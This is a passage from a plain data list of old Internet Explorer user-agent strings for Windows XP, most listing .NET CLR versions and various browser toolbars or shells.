(compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; FDM; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MEGAUPLOAD 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; FDM; MEGAUPLOAD 1.0; MEGAUPLOAD 2.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; KKman3.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; KKman3.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; KKman3.0; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; MEGAUPLOAD 1.0; MEGAUPLOAD 2.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Zango 10.0.314.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Zango 10.1.181.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Zango 10.3.37.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; chromeframe; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1) ; .NET CLR 3.0.04506.648; MEGAUPLOAD 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MyIE2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MyIE2; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MyIE2; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MyIE2; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Q312461; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Q312461; HbTools 4.8.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Q312461; YPC 3.2.0; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.1; PeoplePal 3.0; yplus 5.1.03b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; QQDownload 627; TencentTraveler 4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; Media Center PC 2.8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7; .NET CLR 2.0.40607)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 2.0.50727; WinFX RunTime 3.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Sleipnir/2.41\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; InfoPath.1; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; WinFX RunTime 3.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.03)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Avalon 6.0.5070; WinFX RunTime 3.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Avant Browser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; FunWebProducts; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; FunWebProducts; Maxthon; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; FunWebProducts; Zango 10.0.341.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; GTB5; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; GTB6.6; AskTbPTV2/5.9.1.14019)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; HbTools 4.8.4)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; MyIE2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; WinFX RunTime 3.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Stardock Blog Navigator 1.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; TheWorld)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Wanadoo 6.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; YPC 3.2.0; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; YPC 3.2.0; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Seekmo 10.0.345.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Seekmo 10.0.406.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SiteKiosk 6.5 Build 150)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Stardock Blog Navigator 1.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; T312461; GTB5; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; WinFX RunTime 3.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; .NET CLR 2.0.50727; AskTB5.6)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; GTB6.3; QQDownload 625; (R1 1.6))\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.1.7.21880)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MSN Optimized;US)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSN Optimized;US)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Sleipnir/2.8.4\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; FDM; msn OptimizedIE8;ZHTW; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.2.0.22177)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;ENUS)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Sleipnir/2.8.4\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Sleipnir/2.5.12\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.1.5.21576)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8; yie8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 5.0.3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Lunascape 5.0.4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.1; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.2; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; Lunascape 4.8.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.0.3705; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; AskTB5.4)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Maxthon 2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 4.0.20506; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.6)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 